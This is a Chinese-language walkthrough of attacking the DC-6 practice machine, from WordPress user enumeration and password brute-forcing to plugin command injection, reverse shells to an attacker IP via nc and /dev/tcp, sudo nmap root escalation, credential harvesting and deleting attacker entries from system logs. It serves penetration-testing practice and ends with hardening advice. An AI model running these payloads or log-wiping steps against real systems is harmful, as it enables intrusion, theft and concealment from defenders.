ARTICLE · INTELLIGENCE

战地情报 · 详情页

来自尧图项目组的一线实战观察与深度解析

DC-6靶机渗透实战:从WordPress漏洞到Root提权

DC-6靶机渗透实战:从WordPress漏洞到Root提权

1. DC-6靶机渗透概述

DC-6是专为网络安全学习者设计的虚拟靶机环境,基于WordPress构建。这个靶机模拟了企业级CMS系统的典型漏洞链,包含从信息收集、漏洞利用到权限提升的完整攻击路径。作为CTF入门者向中级进阶的经典案例,它涵盖了Web渗透测试中80%的核心技术点。

我在实际渗透测试中发现,DC-6靶机特别适合练习以下技能:

  • WordPress专项漏洞利用(WPScan实战)
  • 中间件配置缺陷利用
  • 密码爆破的精细化操作
  • Linux权限提升的多种姿势
  • 漏洞链的组合利用思维

靶机默认采用桥接网络模式,建议在VMware或VirtualBox中改为NAT模式进行测试。官方提供了三种下载方式,国内用户推荐使用镜像下载链接,速度更稳定:

https://download.vulnhub.com/dc/DC-6.zip

2. 环境准备与信息收集

2.1 网络拓扑配置

将靶机网络模式改为NAT后,首先需要确定目标IP。我习惯使用netdiscover进行二层发现:

netdiscover -i eth0 -r 192.168.88.1/24

当发现类似192.168.88.184的未知IP时,立即用nmap验证基础服务:

nmap -sV -T4 192.168.88.184

关键发现:

  • 22/tcp ssh OpenSSH 7.4p1
  • 80/tcp http Apache/2.4.25

注意:如果发现HTTP请求被重定向到wordy域名,需在/etc/hosts添加记录: 192.168.88.184 wordy

2.2 WordPress深度侦察

使用WPScan进行全维度扫描时,建议添加以下参数组合:

wpscan --url http://wordy \ --enumerate uvpvt \ --plugins-detection aggressive \ --api-token YOUR_API_KEY

扫描结果分析要点:

  1. 版本信息:WordPress 5.1.1(存在已知漏洞)
  2. 主题:twentyseventeen(检查主题目录遍历)
  3. 用户枚举结果:
    • admin
    • graham
    • mark
    • sarah
    • jens
  4. 可疑插件:activity_monitor(后续重点突破点)

我通常会建立用户-密码矩阵表辅助爆破:

用户名常见密码组合
markhelpdesk01, mark123, !mark
grahamGraham2023, passGraham
adminadmin, wordpress, 123456

3. 漏洞利用实战

3.1 密码爆破的艺术

针对mark用户,使用精细化字典策略:

crunch 8 8 -t helpdesk%% > custom_dict.txt hydra -l mark -P custom_dict.txt wordy http-form-post \ "/wp-login.php:log=^USER^&pwd=^PASS^&wp-submit=Log In:F=incorrect"

爆破成功后获得凭证:mark/helpdesk01

经验:WordPress后台登录存在防爆破机制,建议:

  • 设置3秒请求间隔
  • 使用--threads 1降低并发
  • 配合代理池轮转

3.2 activity_monitor插件RCE

该插件存在命令注入漏洞,两种利用方式:

方法一:Web触发

  1. 在Kali开启监听:
    nc -lvnp 4444
  2. 访问插件管理页面:
    http://wordy/wp-admin/admin.php?page=plainview_activity_monitor&tab=activity_tools
  3. 抓包修改lookup参数为:
    baidu.com | nc -e /bin/bash 192.168.88.183 4444

方法二:直接请求

curl -X POST "http://wordy/wp-admin/admin.php" \ -d "page=plainview_activity_monitor&tab=activity_tools&lookup=google.fr|nc 192.168.88.183 4444 -e /bin/bash"

获得初始shell后,立即升级为完整TTY:

python -c 'import pty; pty.spawn("/bin/bash")' export TERM=xterm

4. 权限提升路径

4.1 横向移动:graham用户

在/home/mark/stuff目录发现thing-to-do.txt:

graham的密码:GSo7isUM1D4

通过SSH登录验证:

ssh graham@wordy

4.2 纵向提权:jens用户

查看sudo权限:

sudo -l

发现可执行/home/jens/backups.sh,该脚本内容:

#!/bin/bash tar -czf backups.tar.gz /var/www/html

利用方法:

  1. 清空原脚本内容
  2. 插入反弹shell代码:
    bash -i >& /dev/tcp/192.168.88.183/5555 0>&1
  3. 等待cron执行或手动触发

4.3 终极提权:root访问

发现jens用户可以无密码执行nmap:

sudo nmap --interactive nmap> !sh

更优雅的方式是使用nmap脚本引擎:

echo 'os.execute("/bin/bash")' > /tmp/privesc.nse sudo nmap --script=/tmp/privesc.nse

5. 渗透后操作与痕迹清理

5.1 关键证据收集

# 用户历史命令 cat /home/*/.bash_history # SSH密钥 find / -name id_rsa 2>/dev/null # 数据库凭证 grep -r "DB_PASSWORD" /var/www/html

5.2 日志清理技巧

# 删除当前用户相关日志 sed -i '/192.168.88.183/d' /var/log/auth.log # 清空web访问日志 echo > /var/log/apache2/access.log

6. 防御建议

根据本次渗透经验,企业应加强以下防护:

  1. WordPress安全加固:

    • 禁用xmlrpc.php
    • 限制wp-admin访问IP
    • 定期更新核心与插件
  2. 系统层防护:

    # 禁用危险sudo权限 visudo # 删除nmap的suid权限 chmod -s /usr/bin/nmap
  3. 网络层控制:

    • 配置fail2ban防御爆破
    • 设置SSH双因素认证

这个靶机最精妙之处在于展示了从Web漏洞到系统提权的完整攻击链。我在实际渗透测试中遇到过类似场景,攻击者往往利用开发人员留下的注释信息(如thing-to-do.txt)找到突破口。建议开发团队建立完善的代码审查机制,避免在生产环境遗留测试信息。

RELATED READING

延伸阅读

更多一线实战笔记与深度复盘,助您持续精进